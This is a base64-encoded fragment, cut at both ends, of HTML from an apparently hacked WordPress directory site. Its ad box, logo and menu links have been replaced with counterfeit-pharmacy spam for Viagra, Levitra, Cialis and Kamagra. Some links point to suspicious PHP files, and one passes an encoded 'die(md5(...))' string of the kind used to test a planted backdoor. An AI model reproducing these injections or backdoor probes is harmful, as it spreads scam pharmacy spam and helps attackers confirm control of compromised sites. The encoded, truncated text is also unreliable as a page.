YvMTIvcGF3MS0zMDB4MzAwLnBuZyIgLz4KCgkJPHNjcmlwdD4KCQkgICdhcnRpY2xlIGFzaWRlIGZvb3RlciBoZWFkZXIgbmF2IHNlY3Rpb24gdGltZScucmVwbGFjZSgvXHcrL2csZnVuY3Rpb24obil7IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQobikgfSkKCQk8L3NjcmlwdD4KCgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgewoKCQkJdmFyIGNhdGVnb3JpZXMgPSBbIHsgdmFsdWU6ICIxMTQiICwgbGFiZWw6ICJCYXJzIiB9LHsgdmFsdWU6ICI3NSIgLCBsYWJlbDogIkNsdWJzIiB9LHsgdmFsdWU6ICI0MiIgLCBsYWJlbDogIkNvbnRlc3QiIH0seyB2YWx1ZTogIjMxIiAsIGxhYmVsOiAiRW50ZXJ0YWlubWVudCIgfSx7IHZhbHVlOiAiMzQiICwgbGFiZWw6ICJFdmVudHMiIH0seyB2YWx1ZTogIjMzIiAsIGxhYmVsOiAiTG9kZ2luZyIgfSx7IHZhbHVlOiAiMjkiICwgbGFiZWw6ICJPdGhlciBPd25lciBPcGVyYXRlZCIgfSx7IHZhbHVlOiAiMzkiICwgbGFiZWw6ICJSZXN0YXVyYW50cyIgfSBdOwoKCQkJdmFyIGxvY2F0aW9ucyA9IFsgeyB2YWx1ZTogIjExMyIgLCBsYWJlbDogIkNhbGlmb3JuaWEiIH0seyB2YWx1ZTogIjc4IiAsIGxhYmVsOiAiLSZuYnNwO0xvcyBBbmdlbGVzIiB9LHsgdmFsdWU6ICIxMDkiICwgbGFiZWw6ICJDb2xvcmFkbyIgfSx7IHZhbHVlOiAiOTciICwgbGFiZWw6ICItJm5ic3A7RGVudmVyIiB9LHsgdmFsdWU6ICIxMDMiICwgbGFiZWw6ICJDb25uZWN0aWN1dCIgfSx7IHZhbHVlOiAiMTA0IiAsIGxhYmVsOiAiLSZuYnNwO0hhcnRmb3JkIiB9LHsgdmFsdWU6ICIxMDYiICwgbGFiZWw6ICJJbGxpbm9pcyIgfSx7IHZhbHVlOiAiNzkiICwgbGFiZWw6ICItJm5ic3A7Q2hpY2FnbyIgfSx7IHZhbHVlOiAiMTA1IiAsIGxhYmVsOiAiTWFzc2FjaHVzZXR0cyIgfSx7IHZhbHVlOiAiMTAwIiAsIGxhYmVsOiAiLSZuYnNwO0Jvc3RvbiIgfSx7IHZhbHVlOiAiMTEwIiAsIGxhYmVsOiAiTWljaGlnYW4iIH0seyB2YWx1ZTogIjk0IiAsIGxhYmVsOiAiLSZuYnNwO0RldHJvaXQiIH0seyB2YWx1ZTogIjExMiIgLCBsYWJlbDogIk5ldmFkYSIgfSx7IHZhbHVlOiAiMTAyIiAsIGxhYmVsOiAiLSZuYnNwO0xhcyBWZWdhcyIgfSx7IHZhbHVlOiAiMTA3IiAsIGxhYmVsOiAiTmV3IFlvcmsiIH0seyB2YWx1ZTogIjQ2IiAsIGxhYmVsOiAiLSZuYnNwO05ldyBZb3JrIENpdHkiIH0seyB2YWx1ZTogIjEwOCIgLCBsYWJlbDogIlRleGFzIiB9LHsgdmFsdWU6ICI4NSIgLCBsYWJlbDogIi0mbmJzcDtEYWxsYXMiIH0seyB2YWx1ZTogIjExMSIgLCBsYWJlbDogIldhc2hpbmd0b24iIH0seyB2YWx1ZTogIjk2IiAsIGxhYmVsOiAiLSZuYnNwO1NlYXR0bGUiIH0gXTsKCgkJCXZhciBjYXRJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IiApLAoJCQkJY2F0SW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiApLAoJCQkJbG9jSW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgKSwKCQkJCWxvY0lucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgKTsKCgkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGNhdGVnb3JpZXMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCWNhdElucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgY2F0TGlzdCA9IGNhdElucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJY2F0TGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWNhdElucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQljYXRJbnB1dC52YWwoJycpOwoJCQkJY2F0SW5wdXRJRC52YWwoJzAnKTsKCQkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogbG9jYXRpb25zLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlsb2NJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGxvY0xpc3QgPSBsb2NJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWxvY0xpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQlsb2NJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJbG9jSW5wdXQudmFsKCcnKTsKCQkJCWxvY0lucHV0SUQudmFsKCcwJyk7CgkJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgoKCQl9KTsKCQk8L3NjcmlwdD4KCgk8L2hlYWQ+CgoJPGJvZHkgY2xhc3M9InBhZ2UtaWQtNjg4MjA3Ij4KCgkJPGRpdiBpZD0icGFnZSIgY2xhc3M9ImhmZWVkICBuYXJyb3ciID4KCgoKPGRpdiBpZD0iYWR2ZXJ0aXNpbmctYm94LTEiIGNsYXNzPSJhZHZlcnRpc2luZy1ib3giPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJPGRpdj48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY3JhZnQtcmVwb3J0LnBocD9kMT1aR2xsS0cxa05TZ3pORFV6TkNrcE93PT0iPkxldml0cmEgU3VwZXIgQWN0aXZlIHByaWNlIC0gT2ZmaWNpYWwgSW50ZXJuZXQgUGhhcm1hY3k8L2E+PC9kaXY+CgkgPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0idG9wYmFyIGNsZWFyZml4Ij4KPC9kaXY+Cgo8aGVhZGVyIGlkPSJicmFuZGluZyIgcm9sZT0iYmFubmVyIj4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXYgaWQ9ImxvZ28iIGNsYXNzPSJsZWZ0Ij4KCQkJCTxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvc2VsZWN0ZWRPcHRzLmhyZWYvIj5DaWFsaXMgZm9yIG9uY2U8L2E+CgkJPC9kaXY+CgoJCTxuYXYgaWQ9ImFjY2VzcyIgcm9sZT0ibmF2aWdhdGlvbiI+CgoJCQkJCjxuYXYgY2xhc3M9Im1haW5tZW51Ij48dWwgaWQ9Im1lbnUtbWFpbi1tZW51IiBjbGFzcz0ibWVudSI+PGxpIGlkPSJtZW51LWl0ZW0tODIxMSIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS1ob21lIGN1cnJlbnQtbWVudS1pdGVtIHBhZ2VfaXRlbSBwYWdlLWl0ZW0tNyBjdXJyZW50X3BhZ2VfaXRlbSBtZW51LWl0ZW0tODIxMSI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL2EvIj5OZXcgZHJ1ZyBsZXZpdHJhPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyNDQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODI0NCI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLyU1QyUyMmh0dHA6JTVDLyU1Qy9mdW5ydW5uZXJzYmVhY2hlcy51cyU1Qy8lNUMlMjIiPlNob3AgTGV2aXRyYSBTb2Z0IGluIE5hdXJ1IFlhcmVuPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNCI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9zZWxlY3RlZE9wdHMuY29udGVudC8iPlB1cmNoYXNlIEV4dHJhIFN1cGVyIFZpYWdyYSBpbiBRYXRhciBEb2hhPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMTIiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIxMiI+PGEgaHJlZj0iaHR0cHM6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8vd2ViY29uZmlnLnR4dC5waHAiPk9yZGVyIExldml0cmEgU3VwZXIgQWN0aXZlIGluIEJlbGdpdW0gQnJ1c3NlbHM8L2E+PC9saT4KPGxpIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLWd0cmFuc2xhdGUiPjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyIgaWQ9Imd0cmFuc2xhdGVfd3JhcHBlciI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5zd2l0Y2hlciB7Zm9udC1mYW1pbHk6QXJpYWw7Zm9udC1zaXplOjEwcHQ7dGV4dC1hbGlnbjpsZWZ0O2N1cnNvcjpwb2ludGVyO292ZXJmbG93OmhpZGRlbjt3aWR0aDoxNjNweDtsaW5lLWhlaWdodDoxN3B4O30KLnN3aXRjaGVyIGEge3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6YmxvY2s7Zm9udC1zaXplOjEwcHQ7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O30KLnN3aXRjaGVyIGEgaW1nIHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZGlzcGxheTppbmxpbmU7Ym9yZGVyOjA7cGFkZGluZzowO21hcmdpbjowO29wYWNpdHk6MC44O30KLnN3aXRjaGVyIGE6aG92ZXIgaW1nIHtvcGFjaXR5OjE7fQouc3dpdGNoZXIgLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkZGRkYgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9zd2l0Y2hlci5wbmcpIHJlcGVhdC14O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5OTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYSB7Ym9yZGVyOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDtjb2xvcjojNjY2NjY2O3BhZGRpbmc6M3B4IDVweDt3aWR0aDoxNTFweDt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYS5vcGVuIHtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfdXAucG5nKX0KLnN3aXRjaGVyIC5zZWxlY3RlZCBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGMEYwRjAgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDt9Ci5zd2l0Y2hlciAub3B0aW9uIHtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTg7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZC1jb2xvcjojRUVFRUVFO2Rpc3BsYXk6bm9uZTt3aWR0aDoxNjFweDttYXgtaGVpZ2h0OjE5OHB4Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDtvdmVyZmxvdy15OmF1dG87b3ZlcmZsb3cteDpoaWRkZW47fQouc3dpdGNoZXIgLm9wdGlvbiBhIHtjb2xvcjojMDAwO3BhZGRpbmc6M3B4IDVweDt9Ci5zd2l0Y2hlciAub3B0aW9uIGE6aG92ZXIge2JhY2tncm91bmQ6I0ZGQzt9Ci5zd2l0Y2hlciAub3B0aW9uIGEuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGQzt9CiNzZWxlY3RlZF9sYW5nX25hbWUge2Zsb2F0OiBub25lO30KLmxfbmFtZSB7ZmxvYXQ6IG5vbmUgIWltcG9ydGFudDttYXJnaW46IDA7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwwLjMpO2JvcmRlci1yYWRpdXM6NXB4O2JhY2tncm91bmQtY29sb3I6I0Y1RjVGNTt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhciB7d2lkdGg6NXB4O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtib3JkZXItcmFkaXVzOjVweDstd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwuMyk7YmFja2dyb3VuZC1jb2xvcjojODg4O30KPC9zdHlsZT4KPGRpdiBjbGFzcz0ic3dpdGNoZXIgbm90cmFuc2xhdGUiPgo8ZGl2IGNsYXNzPSJzZWxlY3RlZCI+CjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD01MDAyIj5PcmRlciBCcmFuZCBMZXZpdHJhIGluIEpvcmRhbiBBbW1hbjwvYT4KPC9kaXY+CjxkaXYgY2xhc3M9Im9wdGlvbiI+CjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPXRleGFzIj5TbmFwIHVwIEthbWFncmEgb25saW5lIGNoZWFwPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPWNhbGlmb3JuaWEiPkJ1eSBLYW1hZ3JhIFBvbG8gb25saW5lIGNoZWFwPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1kYXljYXJlIj5BY3F1aXJlIExldml0cmEgSmVsbHkgb25saW5lIGNoZWFwPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1ncm9vbWVycyI+QnV5IFZpYWdyYSBQcm9mZXNzaW9uYWwgaW4gTW9yb2NjbyBSYWJhdDwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtaG9zcGl0YWxzIj5DaGVhcCBMZXZpdHJhIFByb2Zlc3Npb25hbCB3aXRoIE1hc3RlckNhcmQ8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tbG9jYXRpb249Y29ubmVjdGljdXQiPkJ1eSBMZXZpdHJhIEV4dHJhIERvc2FnZSBpbiBMaXRodWFuaWEgVmlsbml1czwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9ODA2OSI+QnV5IEJyYW5kIExldml0cmEgY2hlYXA8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tbG9jYXRpb249bWljaGlnYW4iPlZpYWdyYSBFeHRyYSBEb3NhZ2UgaW5mb3JtYXRpb248L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxydScpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iUnVzc2lhbiIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L3J1LnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9InJ1IiAvPiBSdXNzaWFuPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58ZXMnKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IlNwYW5pc2giIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9lcy5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJlcyIgLz4gU3BhbmlzaDwvYT48L2Rpdj4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KalF1ZXJ5KCcuc3dpdGNoZXIgLnNlbGVjdGVkJykuY2xpY2soZnVuY3Rpb24oKSB7aWYoIShqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuaXMoJzp2aXNpYmxlJykpKSB7alF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLnN0b3AodHJ1ZSx0cnVlKS5kZWxheSgxMDApLnNsaWRlRG93big1MDApO2pRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCBhJykudG9nZ2xlQ2xhc3MoJ29wZW4nKX19KTsKalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmJpbmQoJ21vdXNld2hlZWwnLCBmdW5jdGlvbihlKSB7dmFyIG9wdGlvbnMgPSBqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJyk7aWYob3B0aW9ucy5pcygnOnZpc2libGUnKSlvcHRpb25zLnNjcm9sbFRvcChvcHRpb25zLnNjcm9sbFRvcCgpIC0gZS5vcmlnaW5hbEV2ZW50LndoZWVsRGVsdGEpO3JldHVybiBmYWxzZTt9KTsKalF1ZXJ5KCdib2R5Jykubm90KCcuc3dpdGNoZXInKS5jbGljayhmdW5jdGlvbihlKSB7aWYoalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmlzKCc6dmlzaWJsZScpICYmIGUudGFyZ2V0ICE9IGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5nZXQoMCkpIHtqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuc3RvcCh0cnVlLHRydWUpLmRlbGF5KDEwMCkuc2xpZGVVcCg1MDApO2pRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCBhJykudG9nZ2xlQ2xhc3MoJ29wZW4nKX19KTsKPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiNnb29nLWd0LXR0IHtkaXNwbGF5Om5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRlLWJhbm5lci1mcmFtZSB7ZGlzcGxheTpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZS1tZW51LXZhbHVlOmhvdmVyIHt0ZXh0LWRlY29yYXRpb246bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGV4dC1oaWdobGlnaHQge2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQgIWltcG9ydGFudDtib3gtc2hhZG93Om5vbmUgIWltcG9ydGFudDt9CmJvZHkge3RvcDowICFpbXBvcnRhbnQ7fQojZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MiB7ZGlzcGxheTpub25lIWltcG9ydGFudDt9Cjwvc3R5bGU+Cgo8ZGl2IGlkPSJnb29nbGVfdHJhbnNsYXRlX2VsZW1lbnQyIj48L2Rpdj4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBnb29nbGVUcmFuc2xhdGVFbGVtZW50SW5pdDIoKSB7bmV3IGdvb2dsZS50cmFuc2xhdGUuVHJhbnNsYXRlRWxlbWVudCh7cGFnZUxhbmd1YWdlOiAnZW4nLGF1dG9EaXNwbGF5OiBmYWxzZX0sICdnb29nbGVfdHJhbnNsYXRlX2VsZW1lbnQyJyk7fQo8L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSIvL3RyYW5zbGF0ZS5nb29nbGUuY29tL3RyYW5zbGF0ZV9hL2VsZW1lbnQuanM/Y2I9Z29vZ2xlVHJhbnNsYXRlRWxlbWVudEluaXQyIj48L3NjcmlwdD4KCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEdUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpIHt2YXIga2V5VmFsdWUgPSBkb2N1bWVudFsnY29va2llJ10ubWF0Y2goJyhefDspID9nb29ndHJhbnM9KFteO10qKSg7fCQpJyk7cmV0dXJuIGtleVZhbHVlID8ga2V5VmFsdWVbMl0uc3BsaXQoJy8nKVsyXSA6IG51bGw7fQpmdW5jdGlvbiBHVHJhbnNsYXRlRmlyZUV2ZW50KGVsZW1lbnQsZXZlbnQpe3RyeXtpZihkb2N1bWVudC5jcmVhdGVFdmVudE9iamVjdCl7dmFyIGV2dD1kb2N1bWVudC5jcmVhdGVFdmVudE9iamVjdCgpO2VsZW1lbnQuZmlyZUV2ZW50KCdvbicrZXZlbnQsZXZ0KX1lbHNle3ZhciBldnQ9ZG9jdW1lbnQuY3JlYXRlRXZlbnQoJ0hUTUxFdmVudHMnKTtldnQuaW5pdEV2ZW50KGV2ZW50LHRydWUsdHJ1ZSk7ZWxlbWVudC5kaXNwYXRjaEV2ZW50KGV2dCl9fWNhdGNoKGUpe319CmZ1bmN0aW9uIGRvR1RyYW5zbGF0ZShsYW5nX3BhaXIpe2lmKGxhbmdfcGFpci52YWx1ZSlsYW5nX3BhaXI9bGFuZ19wYWlyLnZhbHVlO2lmKGxhbmdfcGFpcj09JycpcmV0dXJuO3ZhciBsYW5nPWxhbmdfcGFpci5zcGxpdCgnfCcpWzFdO2lmKEdUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpID09IG51bGwgJiYgbGFuZyA9PSBsYW5nX3BhaXIuc3BsaXQoJ3wnKVswXSlyZXR1cm47dmFyIHRlQ29tYm87dmFyIHNlbD1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7Zm9yKHZhciBpPTA7aTxzZWwubGVuZ3RoO2krKylpZigvZ29vZy10ZS1jb21iby8udGVzdChzZWxbaV0uY2xhc3NOYW1lKSl7dGVDb21ibz1zZWxbaV07YnJlYWs7fWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnb29nbGVfdHJhbnNsYXRlX2VsZW1lbnQyJyk9PW51bGx8fGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnb29nbGVfdHJhbnNsYXRlX2VsZW1lbnQyJykuaW5uZXJIVE1MLmxlbmd0aD09MHx8dGVDb21iby5sZW5ndGg9PTB8fHRlQ29tYm8uaW5uZXJIVE1MLmxlbmd0aD09MCl7c2V0VGltZW91dChmdW5jdGlvbigpe2RvR1RyYW5zbGF0ZShsYW5nX3BhaXIpfSw1MDApfWVsc2V7dGVDb21iby52YWx1ZT1sYW5nO0dUcmFuc2xhdGVGaXJlRXZlbnQodGVDb21ibywnY2hhbmdlJyk7R1RyYW5zbGF0ZUZpcmVFdmVudCh0ZUNvbWJvLCdjaGFuZ2UnKX19CmlmKEdUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpICE9IG51bGwpalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZ